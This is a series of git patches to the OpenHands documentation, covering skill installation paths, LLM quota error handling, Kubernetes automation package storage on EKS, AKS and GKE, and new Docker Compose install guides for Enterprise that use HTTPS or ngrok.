/path/to/skill ~/.agents/skills/ ``` -Skills in `~/.openhands/skills/` are available in all your conversations when using the CLI. +Skills in `~/.agents/skills/` are available in all your conversations. Start a new conversation after adding them so Agent Canvas picks them up. ## Verifying Installation diff --git a/overview/skills/org.mdx b/overview/skills/org.mdx index 61128052a..172ab2284 100644 --- a/overview/skills/org.mdx +++ b/overview/skills/org.mdx @@ -24,53 +24,3 @@ General skill file example for organization `Great-Co` located inside the `.agen ``` For GitLab organizations, the same skill would be located inside the `openhands-config` repository. - -## User Skills When Running OpenHands on Your Own - -When running OpenHands on your own, you can place skills in the `~/.agents/skills/` folder on your local -system and OpenHands will always load them for all your conversations. Repo-level overrides live in `.agents/skills/`. - -<Tabs> - <Tab title="CLI / Headless / Development Mode"> - User skills from `~/.agents/skills/` are loaded automatically — no extra configuration needed. - </Tab> - <Tab title="Docker"> - When running OpenHands via Docker, the agent-server container cannot see your host filesystem by default. - You need to mount your local skills directory into the sandbox using the `SANDBOX_VOLUMES` environment variable: - - ```bash - docker run -it --rm --pull=always \ - -e SANDBOX_VOLUMES="$HOME/.agents/skills:/home/openhands/.agents/skills:ro" \ - -e AGENT_SERVER_IMAGE_REPOSITORY=ghcr.io/openhands/agent-server \ - -e AGENT_SERVER_IMAGE_TAG=1.26.0-python \ - -v /var/run/docker.sock:/var/run/docker.sock \ - -v ~/.openhands:/.openhands \ - -p 3000:3000 \ - --add-host host.docker.internal:host-gateway \ - --name openhands-app \ - docker.openhands.dev/openhands/openhands:1.8 - ``` - - <Warning> - Mount into `~/.agents/skills` inside the container (not `~/.openhands/skills`). Mounting - into `~/.openhands/skills` would overwrite the public skills cache and prevent built-in - skills from loading. - </Warning> - - You can store your skills in any host directory (e.g., `~/my-skills/`) and mount them - to `~/.agents/skills` in the sandbox: - - ```bash - -e SANDBOX_VOLUMES="$HOME/my-skills:/home/openhands/.agents/skills:ro" - ``` - - If you also need to mount a workspace, use a comma-separated list: - - ```bash - -e SANDBOX_VOLUMES="$HOME/project:/workspace:rw,$HOME/.agents/skills:/home/openhands/.agents/skills:ro" - ``` - - See the [SANDBOX_VOLUMES documentation](/openhands/usage/sandboxes/docker#using-sandbox_volumes) for more details - on the mount format. - </Tab> -</Tabs> diff --git a/sdk/index.mdx b/sdk/index.mdx index 7db1317e3..87c3c019d 100644 --- a/sdk/index.mdx +++ b/sdk/index.mdx @@ -14,7 +14,7 @@ You can use the OpenHands Software Agent SDK for: - Major tasks that involve multiple agents, like refactors and rewrites - OpenAI-compatible access to an OpenHands agent from chat UIs, IDEs, voice platforms, and other clients -You can even use the SDK to build new developer experiences—it’s the engine behind the [OpenHands CLI](/openhands/usage/cli/quick-start) and [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). +You can even use the SDK to build new developer experiences—it’s the engine behind [Agent Canvas](/openhands/usage/agent-canvas/overview) and [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). Get started with some examples or keep reading to learn more. From afd60ea490cedb8c08260e1f0fddb8103f88aace Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=F0=9F=90=BE=20smolpaws?= <engel@enyst.org> Date: Sun, 25 Oct 2026 21:42:35 +0100 Subject: [PATCH 91/97] docs(sdk): clarify skill subpaths, quota errors and child workspace fallback (#998) * docs: distinguish structured quota and temporary rate limits Clarify retry, fallback, and profile-validation behavior for the unreleased SDK quota fix, OpenHands/software-agent-sdk#6185. Co-authored-by: openhands <openhands@all-hands.dev> * docs: show GitHub subdirectory skill installation forms Document equivalent embedded and explicit paths, with pinning and installation-name expectations for the unreleased SDK fix. Co-authored-by: openhands <openhands@all-hands.dev> * docs: describe child workspaces without an initial commit Clarify default worktree selection, shared fallback, and returned isolation for the unreleased child-launch fix OpenHands/software-agent-sdk#6186. Co-authored-by: openhands <openhands@all-hands.dev> --------- Co-authored-by: Engel Nyst <engel.nyst@gmail.com> Co-authored-by: openhands <openhands@all-hands.dev> --- sdk/guides/agent-server/local-server.mdx | 20 +++++++++++++ sdk/guides/llm-error-handling.mdx | 36 +++++++++++++++++++++- sdk/guides/skill.mdx | 38 ++++++++++++++++++++++++ 3 files changed, 93 insertions(+), 1 deletion(-) diff --git a/sdk/guides/agent-server/local-server.mdx b/sdk/guides/agent-server/local-server.mdx index 6c7a3058d..43a3f8752 100644 --- a/sdk/guides/agent-server/local-server.mdx +++ b/sdk/guides/agent-server/local-server.mdx @@ -96,6 +96,26 @@ If the server was started without `OH_SESSION_API_KEYS_0`, remove the `api_key=. The `working_dir` value is relative to the server's process working directory. See [Runtime Files](/sdk/arch/agent-server#runtime-files) for the default directory layout. +## Child Conversation Workspaces + +`POST /api/conversations/{id}/children` starts a child conversation with the +parent's configuration and workspace. Its `isolation` option defaults to +`"worktree"`: the server creates a Git worktree when it can resolve a usable +base commit. A usable remote default branch can provide that commit even when +the local repository has no commits on `HEAD`. + +If there is no usable default base commit, such as immediately after `git init`, +the child shares the parent's directory. The server does not create an initial +commit or change existing files to make a worktree possible. You can also request +`"shared"` explicitly. Check the response's `isolation` and `workspace` fields +to see which workspace the child actually received. + +<Note> +The fallback for repositories without a usable base commit is part of the +[unreleased child-launch fix](https://github.com/OpenHands/software-agent-sdk/issues/6186). +Earlier releases can fail the launch in a newly initialized repository. +</Note> + ## Connect From Another Service For a non-SDK backend service, pass the session API key as `X-Session-API-Key`: diff --git a/sdk/guides/llm-error-handling.mdx b/sdk/guides/llm-error-handling.mdx index 0d779ff5b..91121ed80 100644 --- a/sdk/guides/llm-error-handling.mdx +++ b/sdk/guides/llm-error-handling.mdx @@ -170,6 +170,40 @@ except LLMError as e: print(f"LLM error: {e}") ``` +## Rate Limits, Quota, and Budget Denials + +`LLMRateLimitError` can represent a temporary rate limit or an exhausted allowance. +Use `is_quota_exhaustion_error()` to distinguish them instead of parsing the +error message in your application: + +```python icon="python" wrap +from openhands.sdk.llm.exceptions import ( + LLMRateLimitError, + is_quota_exhaustion_error, +) + +def report_rate_limit(error: LLMRateLimitError) -> str: + if is_quota_exhaustion_error(error): + return "Allowance exhausted. Check the provider's quota or budget." + return "Temporary rate limit. Retry with backoff." +``` + +Temporary rate limits use the configured SDK retry policy. Recognized hard quota +errors, such as `insufficient_quota` and `usage_limit_reached`, skip retries and +can use a configured fallback model. Explicit `budget_exceeded` denials stop +both retries and fallback. A fallback model still uses its own retry policy for +temporary failures. + +Profile pre-flight validation follows the same distinction: an exhausted quota +or budget returns `valid: false`, while a temporary 429 returns `valid: true`. + +<Note> +Structured provider `code` and `type` fields are recognized even when the +human-readable message omits the machine code. This handling is part of the +[unreleased structured quota fix](https://github.com/OpenHands/software-agent-sdk/issues/6185). +Earlier releases can treat these responses as temporary rate limits. +</Note> + ## Exception reference All exceptions live under `openhands.sdk.llm.exceptions` unless noted. @@ -178,7 +212,7 @@ All exceptions live under `openhands.sdk.llm.exceptions` unless noted. |--------|------|-------------| | **Provider / transport (provider-agnostic)** | `LLMContextWindowExceedError` | Conversation exceeds the model’s context window. Without a condenser, thrown for both Chat and Responses paths. | | | `LLMAuthenticationError` | Invalid or missing credentials (401/403 patterns). | -| | `LLMRateLimitError` | Provider rate limit exceeded. | +| | `LLMRateLimitError` | Temporary provider rate limit or exhausted quota/budget. | | | `LLMTimeoutError` | SDK or lower-level timeout while waiting for the provider. | | | `LLMServiceUnavailableError` | Temporary connectivity or service outage (e.g., 5xx responses, connection issues). | | | `LLMBadRequestError` | Client-side request issues (invalid parameters, malformed input). | diff --git a/sdk/guides/skill.mdx b/sdk/guides/skill.mdx index 1d1a71ed4..47e5c0d97 100644 --- a/sdk/guides/skill.mdx +++ b/sdk/guides/skill.mdx @@ -236,6 +236,44 @@ The public lifecycle API includes `install_skill()`, `update_skill()`, CLI a clean SDK surface for `/skill install`, `/skill enable`, `/skill disable`, and `/skill uninstall`. +### Installing a Skill From a GitHub Subdirectory + +Choose either the embedded subdirectory or the explicit `repo_path` form. +Both install the skill under its declared name, `github`: + +<Tabs> + <Tab title="Embedded subdirectory"> + ```python icon="python" + from openhands.sdk.skills import install_skill + + skill = install_skill("github:OpenHands/extensions/skills/github") + print(skill.name) # github + ``` + </Tab> + <Tab title="Explicit repo_path"> + ```python icon="python" + from openhands.sdk.skills import install_skill + + skill = install_skill( + "github:OpenHands/extensions", + repo_path="skills/github", + ) + print(skill.name) # github + ``` + </Tab> +</Tabs> + +Use `ref=` to pin a branch, tag, or commit. Supply the subdirectory in only one +place: either in the source string or in `repo_path`. These examples are +alternatives; running both against the same installation directory requires +`force=True` to replace the existing installation. + +<Note> +Correct name handling for embedded GitHub subdirectories is part of an +unreleased SDK fix. See the +[upstream pull request](https://github.com/OpenHands/software-agent-sdk/pull/6188) for status. +</Note> + ### Installed Skill Lifecycle Example This example mirrors the installed-plugin lifecycle example, but for From 4e3e208ab969b9723cc0482975d25bbbf154f830 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Mon, 26 Oct 2026 08:22:10 -0500 Subject: [PATCH 92/97] docs: add AKS and GKE automation storage setup (#995) * docs: add AKS and GKE automation storage guidance * docs: clarify storage prerequisites and upgrade verification * docs: make storage verification commands actionable --- enterprise/k8s-install/automations.mdx | 238 ++++++++++++++++++++++--- enterprise/k8s-install/gke.mdx | 3 + 2 files changed, 216 insertions(+), 25 deletions(-) diff --git a/enterprise/k8s-install/automations.mdx b/enterprise/k8s-install/automations.mdx index 3e83d15bc..ce1d951ac 100644 --- a/enterprise/k8s-install/automations.mdx +++ b/enterprise/k8s-install/automations.mdx @@ -9,10 +9,14 @@ This guide adds the automation service to an existing Enterprise Helm installati Complete [Install with Helm](/enterprise/k8s-install/installation) and confirm that a regular conversation works before enabling automations. -The example below was verified with OpenHands Enterprise chart `0.71.1` on Amazon -EKS. It uses the bundled PostgreSQL instance and Amazon S3 for automation -packages. For production, use [external PostgreSQL](/enterprise/external-postgres) -and adapt the database host and credentials accordingly. +The shared configuration below uses bundled PostgreSQL. Choose automation package +storage for your provider before applying it. For production, use +[external PostgreSQL](/enterprise/external-postgres) and adapt the database host and credentials accordingly. + +The storage settings below apply to [chart `0.88.0`](https://github.com/OpenHands/OpenHands-Cloud/blob/openhands/0.88.0/charts/openhands/charts/automation/values.yaml#L146-L176), +which ships Automation `1.23.2`. Keep the automation image supplied by your licensed +chart unless your release instructions require an override. Compare these settings +with your licensed chart values before installing or upgrading. ## Prerequisites @@ -20,30 +24,161 @@ and adapt the database host and credentials accordingly. Event-based automations need a URL the event source can reach. - A PostgreSQL instance reachable from the automation pod. This example creates a separate `automations` database and `automation_user` in the bundled instance. -- A durable S3 bucket for automation packages. Give the automation service account - access to list the bucket and read, write, and delete objects. On EKS, use - [IRSA or EKS Pod Identity](/enterprise/k8s-install/eks#object-storage) so the - pod does not need a long-lived AWS access key. -- Three independent, random secret values stored in your secret manager: +- A durable S3-compatible or GCS bucket for automation packages, with access to + list the bucket and read, write, and delete objects. Provision storage and + permissions separately from the application values below. +- Required and optional Kubernetes Secrets, with values stored in your secret manager: | Secret | Key | Purpose | | --- | --- | --- | | `automation-db-secret` | `db-password` | Password for `automation_user` | | `automation-service-key` | `automation-service-key` | Authenticates OpenHands requests to the automation service | | `automation-webhook-secret` | `webhook-secret` | Verifies automation webhook signatures | +| `automation-filestore-credentials` | `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` | Required when using S3-compatible access keys; omit for ambient AWS identity or GCS | +| `automation-git-sync-secret` | `git-sync-secret` | Optional: enables storing encrypted Git sync credentials | +| `automation-kv-secret` | `kv-secret` | Optional: enables persistent automation KV state | + +## Choose Package Storage + +Enterprise conversation storage (`filestore`) and automation package storage +(`automation.filestore`) are separate consumers. Configuring one does not configure +the other. Use a separate automation bucket, such as `automation-data`, even when +both consumers use the same object-store endpoint. Workspace PVCs are separate again. +The chart defaults to `automation.filestore.type: gcs`; explicitly set `type: s3` +when using S3 or RustFS. + +<Tabs> + <Tab title="Amazon EKS"> + Use Amazon S3 with [IRSA or EKS Pod Identity](/enterprise/k8s-install/eks#object-storage) + granted to the **automation** service account. IRSA is EKS-specific; do not + copy its annotation into AKS or GKE values. For IRSA, merge this into the + shared configuration below: + + ```yaml + automation: + serviceAccount: + annotations: + eks.amazonaws.com/role-arn: arn:aws:iam::<account-id>:role/<automation-s3-role> + filestore: + type: s3 + bucket: <automation-package-bucket> + region: <aws-region> + ``` + + Leave `endpoint` empty for AWS S3. Provision the bucket and IAM access first. + </Tab> + <Tab title="Azure AKS"> + Use the chart's optional RustFS dependency with persistent disks, or an + external S3-compatible service. Native Azure Blob storage is not implemented + for automation packages. Use S3-compatible credentials for RustFS or external + S3 storage; Azure workload identity does not supply those access keys. + + 1. Follow [AKS Object Storage](/enterprise/k8s-install/aks#object-storage) and the + [RustFS provisioning example](https://github.com/OpenHands/OpenHands-Cloud/blob/openhands/0.88.0/aks-install/values.yaml.tmpl) + to configure Azure Disk CSI persistence and the store's credential Secret. + Create the conversation bucket separately if using RustFS for conversations. + 2. Configure a separate `automation-data` bucket using the + [S3-compatible settings below](#s3-compatible-settings-for-rustfs-or-external-storage). + The existing [AKS automation overlay](https://github.com/OpenHands/OpenHands-Cloud/blob/openhands/0.88.0/aks-install/values-automation.yaml.tmpl) + shows the RustFS service endpoint and Secret reference. + + That overlay pins Automation `1.15.1` for chart `0.74.0`. Do not carry that image + override into chart `0.88.0`; use its bundled `1.23.2` image and compare the + versioned chart values before adapting the overlay. Preserve the AKS runtime + overrides by passing `values-aks-runc.yaml` last on every upgrade. + </Tab> + <Tab title="Google GKE"> + Choose GCS with [Workload Identity Federation for GKE](https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity), + or RustFS with Persistent Disk CSI as described in + [GKE Object Storage](/enterprise/k8s-install/gke#object-storage). + + For GCS, enable Workload Identity Federation on the cluster and the node pool + running automation pods. Provision a separate automation bucket and grant access to + the identity used by the automation pod's Kubernetes service account + (`automation.serviceAccount.name`, default `automation-sa`). Configure the + GKE identity binding for that account in the release namespace (`openhands` + in this guide), independently of the Enterprise + application account. If using IAM service-account impersonation, set the + required `iam.gke.io/gcp-service-account` annotation through + `automation.serviceAccount.annotations` as described in Google's guide. + + ```yaml + automation: + filestore: + type: gcs + bucket: <automation-package-bucket> + ``` + + GCS uses Application Default Credentials from the pod's ambient Google + identity. S3 credential Secret references do not authenticate GCS. The LLM + gateway's Vertex credentials are also separate. Provision the GCS bucket + first; `createBucket` applies only to S3. + + For RustFS, provision the store and disks using the GKE guide, then configure + automation with the S3-compatible settings below. + </Tab> +</Tabs> + +### S3-Compatible Settings for RustFS or External Storage + +After provisioning the store, merge the following into your automation values. +These are application connection settings; they do not deploy RustFS, provision +its disks, or configure backup and restore. + +```yaml +automation: + filestore: + type: s3 + bucket: automation-data + endpoint: http://<rustfs-service>:9000 + region: us-east-1 + createBucket: false + existingSecret: automation-filestore-credentials + accessKeyIdKey: AWS_ACCESS_KEY_ID + secretAccessKeyKey: AWS_SECRET_ACCESS_KEY +``` + +Replace the endpoint with the reachable S3 API URL and use the region required by +your store (`us-east-1` in the AKS RustFS example). The URL scheme determines TLS; +use the appropriate trusted HTTPS endpoint for an external service. The referenced +Secret must be in the `openhands` release namespace and contain the two named keys. It can +reference the same credential Secret as the store if its grants cover the separate +automation bucket. If reusing a Secret with different key names, set +`accessKeyIdKey` and `secretAccessKeyKey` to match. Never put real access keys in +values or Git. + +Provision the bucket first, or set `automation.filestore.createBucket: true` and +grant bucket-creation permission to let the automation service create it at startup. +Enabling RustFS alone does not create or select the automation bucket. Plan disk +capacity, availability, backups and restore for the in-cluster store. + +<Warning> + For new installations, follow the Helm guide's `minio.enabled: false` and use + external storage or RustFS. [Legacy MinIO images](https://github.com/OpenHands/docs/pull/854#issuecomment-5935488585) + can fail to pull. + Check custom values for MinIO overrides. Before replacing an existing store, + plan backup and data migration. +</Warning> ## Step 1: Create Secrets -Create the three Kubernetes Secrets in the `openhands` namespace. If you create -them with `kubectl`, use `--from-file` or your secret manager rather than putting +Use independent, random values for the database password, service key and webhook +secret. Create these three Kubernetes Secrets in the `openhands` namespace, plus +the filestore credential Secret if using S3-compatible access keys. Create the +optional Git sync and KV Secrets if you need those features; without them, Git +sync credential storage is unavailable and the KV store is disabled. If you +create Secrets with `kubectl`, use `--from-file` or your secret manager rather than putting values directly in a shell command. The service key and webhook secret should -differ. Keep all three values out of your Helm values file and Git repository. +differ. Keep secret values out of your Helm values file and Git repository. ## Step 2: Add Helm Values Add the following to the values you already use for the `openhands` release. -Replace the host, bucket, region, and IAM role with your own. Keep your existing -installation values alongside these overrides when upgrading. +Replace the host and database settings with your own, and merge exactly one +storage choice from above into this configuration. Keep your existing +installation values alongside these overrides when upgrading. Remove +`automation.image.tag` overrides copied from older versions of this guide or the +AKS overlay, unless your release instructions explicitly require an override. ```yaml automationServiceKey: @@ -58,13 +193,8 @@ automationService: automation: enabled: true - image: - tag: 1.14.0 # Tested with Enterprise chart 0.71.1 openhandsApiUrl: https://app.openhands.example.com automationBaseUrl: https://app.openhands.example.com - serviceAccount: - annotations: - eks.amazonaws.com/role-arn: arn:aws:iam::<account-id>:role/<automation-s3-role> database: host: openhands-postgresql.openhands.svc.cluster.local port: "5432" @@ -76,10 +206,6 @@ automation: superuserName: postgres superuserSecretName: postgres-password superuserSecretKey: password - filestore: - type: s3 - bucket: <automation-package-bucket> - region: <aws-region> serviceKeyFromSecret: name: automation-service-key key: automation-service-key @@ -102,24 +228,86 @@ used by the OpenHands application to reach the automation service. ## Step 3: Upgrade and Verify Upgrade the same licensed release used for your initial installation. This -example assumes the baseline and automation values are in separate files: +example assumes the baseline and merged automation values are in separate files. +Use your installed chart version; enabling storage is not a release upgrade. On +AKS, append `--values values-aks-runc.yaml` last: ```bash helm upgrade openhands oci://registry.replicated.com/openhands/openhands \ --namespace openhands \ - --version 0.71.1 \ + --version <installed-chart-version> \ --values values.yaml \ --values values-automation.yaml kubectl -n openhands rollout status deployment/automation +kubectl -n openhands get deployment automation \ + -o jsonpath='{.spec.template.spec.containers[0].image}{"\n"}' +# Chart 0.88.0: ghcr.io/openhands/automation:1.23.2 curl -f https://app.openhands.example.com/api/automation/health ``` +On AKS, the upgrade command is: + +```bash +helm upgrade openhands oci://registry.replicated.com/openhands/openhands \ + --namespace openhands \ + --version <installed-chart-version> \ + --values values.yaml \ + --values values-automation.yaml \ + --values values-aks-runc.yaml +``` + +Before running an automation, check that the selected bucket exists, the pod uses +the intended service account, and its storage Secret references or workload +identity grants match the bucket. Check pod events and logs for image-pull, +credential, endpoint or bucket-access errors without printing Secret contents. +A successful health response alone does not verify package storage. + Sign in to OpenHands and open `Automate` in Canvas. Create a read-only prompt automation, run it once with `Run now`, and confirm that a completed run appears in `Activity Log`. For example, ask it to summarize the README of a test repository without changing files or posting messages. Disable the test schedule afterward if you do not want it to run again. +Check the automation bucket for the package object after the test run, using an +object-store client authenticated with your approved storage identity: + +```bash +# Amazon S3 +aws s3 ls s3://<automation-package-bucket>/ --recursive + +# GCS +gcloud storage ls --recursive gs://<automation-package-bucket>/ + +# External S3-compatible service, or RustFS from a client inside the cluster +aws --endpoint-url <s3-api-url> s3 ls s3://<automation-package-bucket>/ --recursive +``` + +An in-cluster RustFS service name is reachable only inside the cluster. Run its +listing command from a client pod, or port-forward `svc/<rustfs-service>` with +`kubectl -n openhands port-forward svc/<rustfs-service> 9000:9000` and use +`--endpoint-url http://localhost:9000` from your workstation. + +In a test environment, restart the automation deployment: + +```bash +kubectl -n openhands rollout restart deployment/automation +kubectl -n openhands rollout status deployment/automation +``` + +Run the same automation again with `Run now` and confirm it completes. This checks +that package storage survives pod replacement. A healthy pod alone does not verify +storage access or persistence. + +### Troubleshooting Storage + +| Symptom | Check | +| --- | --- | +| S3 connection or TLS error | The S3 API endpoint is reachable from the automation pod, uses the correct port and URL scheme, and has a trusted certificate when using HTTPS. | +| S3 access denied or missing bucket | The Secret name and key names match, the bucket exists, and credentials grant access to the automation bucket. Bucket auto-creation also requires creation permission. | +| Unexpected GCS or ADC error on AKS/EKS | Confirm `automation.filestore.type: s3` is set when using S3-compatible storage. | +| GCS authentication or permission error | Workload Identity is enabled on the automation node pool, the pod uses the intended Kubernetes service account, and that identity has access to the automation bucket. | +| Healthy pod but package cannot be read | Check `automation.filestore`, not just the application's top-level `filestore`, and verify the package object is in the selected automation bucket. | + For creating and managing automations, see [Automations Overview](/openhands/usage/automations/overview). For events from another service, see [Event-Based Automations](/openhands/usage/automations/event-automations). diff --git a/enterprise/k8s-install/gke.mdx b/enterprise/k8s-install/gke.mdx index 6b6fe808d..5f308c445 100644 --- a/enterprise/k8s-install/gke.mdx +++ b/enterprise/k8s-install/gke.mdx @@ -108,6 +108,9 @@ separate Job to create the conversation bucket. Select an object store that meet your durability and availability requirements, and verify backup and restore for that configuration. +For automation package storage and its separate bucket and identity, follow +[Enable Automations with Helm](/enterprise/k8s-install/automations#choose-package-storage). + ## Database Use the [External PostgreSQL](/enterprise/external-postgres) guide for managed From ce3542767b11ea13fba892112e3aed8b1e5e8255 Mon Sep 17 00:00:00 2001 From: Joe Laverty <jlav@users.noreply.github.com> Date: Mon, 26 Oct 2026 14:19:28 -0400 Subject: [PATCH 93/97] docs(enterprise): add docker compose install guides (#1013) * Add docker compose docs * Update docker compose port to 9043 * Update enterprise/docker-compose.mdx Co-authored-by: aivong-openhands <ai.vong@openhands.dev> --------- Co-authored-by: aivong-openhands <ai.vong@openhands.dev> --- enterprise/docker-compose.mdx | 70 +++++++++++++++++++++ enterprise/docker-compose/https.mdx | 94 +++++++++++++++++++++++++++++ enterprise/docker-compose/ngrok.mdx | 56 +++++++++++++++++ 3 files changed, 220 insertions(+) create mode 100644 enterprise/docker-compose.mdx create mode 100644 enterprise/docker-compose/https.mdx create mode 100644 enterprise/docker-compose/ngrok.mdx diff --git a/enterprise/docker-compose.mdx b/enterprise/docker-compose.mdx new file mode 100644 index 000000000..7cebb27f9 --- /dev/null +++ b/enterprise/docker-compose.mdx @@ -0,0 +1,70 @@ +--- +title: Docker Compose +description: Run OpenHands Enterprise with Docker Compose +icon: docker +--- + +The Docker Compose stack runs OpenHands Enterprise on a single machine. Use it to evaluate +OpenHands Enterprise with a small group of users. For production, we recommend +[Kubernetes](/enterprise/k8s-install/index). + +## Prerequisites + +- Git +- Docker and Docker Compose +- An API key from your LLM provider + +## Install + +<Steps> + <Step title="Start the stack"> + ```bash + git clone https://github.com/OpenHands/enterprise.git + cd enterprise + docker compose up --wait + ``` + + The command returns when every service is healthy. On the first start, the application pulls + images, which can take several minutes. + </Step> + <Step title="Complete onboarding"> + Open [http://localhost:9043](http://localhost:9043) and follow the onboarding flow to create + your first user and configure your LLM provider. + </Step> +</Steps> + +## Share with your team + +By default, the stack is only reachable from the machine it runs on. To share it with others, +serve it over HTTPS with [ngrok](/enterprise/docker-compose/ngrok) or run it on a +[VM with your own domain](/enterprise/docker-compose/https). + +## Upgrade + +Pull the latest changes, then restart the stack: + +```bash +git pull +docker compose down +docker compose up --wait +``` + +The application migrates its database on startup. + +## Stop and reset + +Stop the stack with: + +```bash +docker compose down +``` + +Your data is stored in Docker volumes and is kept when you stop the stack. + +### Reset + +To delete all data and start over, stop any running sandbox containers, then remove the volumes: + +```bash +docker compose down -v +``` diff --git a/enterprise/docker-compose/https.mdx b/enterprise/docker-compose/https.mdx new file mode 100644 index 000000000..2978e3f1b --- /dev/null +++ b/enterprise/docker-compose/https.mdx @@ -0,0 +1,94 @@ +--- +title: Run on a VM with HTTPS +sidebarTitle: VM with HTTPS +description: Run the Docker Compose stack on a Linux VM and serve it over HTTPS at your own domain +icon: lock +--- + +This guide runs the [Docker Compose](/enterprise/docker-compose) stack on a Linux VM and serves it +over HTTPS at your own domain. Caddy handles HTTPS. Caddy can get a certificate from Let's Encrypt +automatically, or it can use a certificate that you provide. + +## Prerequisites + +- A Linux VM with at least 4 CPUs, 16 GB of memory, and 100 GB of disk +- [Docker Engine](https://docs.docker.com/engine/install/) with the Compose plugin, and Git +- A domain name for OpenHands, such as `openhands.example.com` +- Ports 80 and 443 open to your users +- An API key from your LLM provider + +## Install + +<Steps> + <Step title="Create a DNS record"> + Create a DNS A record that points your domain to the IP address of the VM. + </Step> + <Step title="Clone the repository"> + On the VM, run: + + ```bash + git clone https://github.com/OpenHands/enterprise.git + cd enterprise + ``` + </Step> + <Step title="Configure the stack"> + Create a `.env` file in the `enterprise` directory. Replace `openhands.example.com` with your + domain. + + <Tabs> + <Tab title="Automatic certificate"> + ```bash .env + COMPOSE_FILE=docker-compose.yml:docker-compose.https.yml + WEB_HOST=openhands.example.com + WEB_URL=https://openhands.example.com + AGENT_CANVAS_LOCK_TO_CLOUD=https://openhands.example.com + ``` + + Caddy gets a certificate from Let's Encrypt when the stack starts and renews it + automatically. Let's Encrypt must be able to reach the VM from the internet on port 80 or + 443. + </Tab> + <Tab title="Your own certificate"> + ```bash .env + COMPOSE_FILE=docker-compose.yml:docker-compose.https-own-cert.yml + WEB_HOST=openhands.example.com + WEB_URL=https://openhands.example.com + AGENT_CANVAS_LOCK_TO_CLOUD=https://openhands.example.com + ``` + + Copy your certificate and private key into the `certs` directory: + + ```bash + mkdir -p certs + cp /path/to/fullchain.pem certs/cert.pem + cp /path/to/privkey.pem certs/key.pem + ``` + + The certificate must be issued by a public certificate authority, and `cert.pem` must + contain the full certificate chain. + </Tab> + </Tabs> + + `COMPOSE_FILE` adds a Caddy service that serves HTTPS on ports 80 and 443. Docker Compose + reads this file on every command, so the commands on the + [Docker Compose](/enterprise/docker-compose) page work without changes. + </Step> + <Step title="Start the stack"> + ```bash + docker compose up --wait + ``` + </Step> + <Step title="Complete onboarding"> + Open `https://openhands.example.com` and follow the onboarding flow to create your first user + and configure your LLM provider. + </Step> +</Steps> + +## Replace Your Certificate + +If you use your own certificate, copy the new files to `certs/cert.pem` and `certs/key.pem`, then +restart Caddy: + +```bash +docker compose restart https +``` diff --git a/enterprise/docker-compose/ngrok.mdx b/enterprise/docker-compose/ngrok.mdx new file mode 100644 index 000000000..f6461660b --- /dev/null +++ b/enterprise/docker-compose/ngrok.mdx @@ -0,0 +1,56 @@ +--- +title: Serve with ngrok +sidebarTitle: ngrok +description: Give the Docker Compose stack a public HTTPS URL with ngrok +icon: globe +--- + +Use ngrok to give the [Docker Compose](/enterprise/docker-compose) stack a public HTTPS URL. You +don't need to open any ports. + +## Prerequisites + +- The [Docker Compose prerequisites](/enterprise/docker-compose#prerequisites) +- ngrok, installed and connected to your ngrok account. Follow steps 1 and 2 of the + [ngrok Agent CLI Quickstart](https://ngrok.com/docs/gateway/endpoints/agent-cli-quickstart). +- Your ngrok domain. Every ngrok account includes a free dev domain, such as + `example-name.ngrok-free.app`. You can find it on the [Domains](https://dashboard.ngrok.com/domains) + page of the ngrok dashboard. + +## Install + +<Steps> + <Step title="Clone the repository"> + ```bash + git clone https://github.com/OpenHands/enterprise.git + cd enterprise + ``` + </Step> + <Step title="Configure the stack"> + Create a `.env` file in the `enterprise` directory. Replace `example-name.ngrok-free.app` with + your ngrok domain: + + ```bash .env + WEB_HOST=example-name.ngrok-free.app + WEB_URL=https://example-name.ngrok-free.app + AGENT_CANVAS_LOCK_TO_CLOUD=https://example-name.ngrok-free.app + ``` + </Step> + <Step title="Start the stack"> + ```bash + docker compose up --wait + ``` + </Step> + <Step title="Start ngrok"> + ```bash + ngrok http 9043 --url https://example-name.ngrok-free.app + ``` + + ngrok serves the stack at your domain while this command runs. Keep it running. + </Step> + <Step title="Complete onboarding"> + Open your ngrok URL and follow the onboarding flow to create your first user and configure + your LLM provider. On a free ngrok account, ngrok shows a warning page first. Click **Visit** + to continue. + </Step> +</Steps> From 7c65c6aca2c2af2532d728d23f10236444205b00 Mon Sep 17 00:00:00 2001 From: Juan Pedro Michelini Jorge <juan@juan.com.uy> Date: Mon, 26 Oct 2026 15:53:57 -0300 Subject: [PATCH 94/97] docs: document free OpenHands models available via app.all-hands.dev (#1015) Add a Free Models section to the OpenHands LLM provider page noting that openhands/deepseek-v4-flash and openhands/deepseek-v4.1-flash are free when used through https://app.all-hands.dev/, and that other provider endpoints with similar model names may require separate billing. Sourced from the org-defaults settings page in OpenHands Cloud. --- openhands/usage/llms/openhands-llms.mdx | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/openhands/usage/llms/openhands-llms.mdx b/openhands/usage/llms/openhands-llms.mdx index dac3a2a5a..a447c3629 100644 --- a/openhands/usage/llms/openhands-llms.mdx +++ b/openhands/usage/llms/openhands-llms.mdx @@ -101,3 +101,14 @@ Pricing follows official API provider rates. Below are the current pricing detai | qwen3-coder-480b | $0.40 | N/A | $1.60 | N/A | N/A | **Note:** Prices listed reflect provider rates with no markup, sourced via LiteLLM’s model price database and provider pricing pages. Cached input tokens are charged at a reduced rate when the same content is reused across requests. Models that don't support prompt caching show "N/A" for cached input cost. + +## Free Models + +A small set of OpenHands-provided models are available at no cost when you run them through the OpenHands Cloud at [app.all-hands.dev](https://app.all-hands.dev/): + +- `openhands/deepseek-v4-flash` +- `openhands/deepseek-v4.1-flash` + +<Note> + These models are free **only** when served from `https://app.all-hands.dev/`. The free tier does not apply to self-hosted deployments, other provider endpoints, or lookalike model names served elsewhere. Other provider endpoints with similar model names may require separate billing. +</Note> From 864d858afb2d43a6a250e2d5574bf834a0fd792d Mon Sep 17 00:00:00 2001 From: Joe Laverty <jlav@users.noreply.github.com> Date: Mon, 26 Oct 2026 14:55:38 -0400 Subject: [PATCH 95/97] Add docker compose docs to enterprise nav (#1017) --- docs.json | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/docs.json b/docs.json index 0736642ea..d95cd761b 100644 --- a/docs.json +++ b/docs.json @@ -540,6 +540,20 @@ 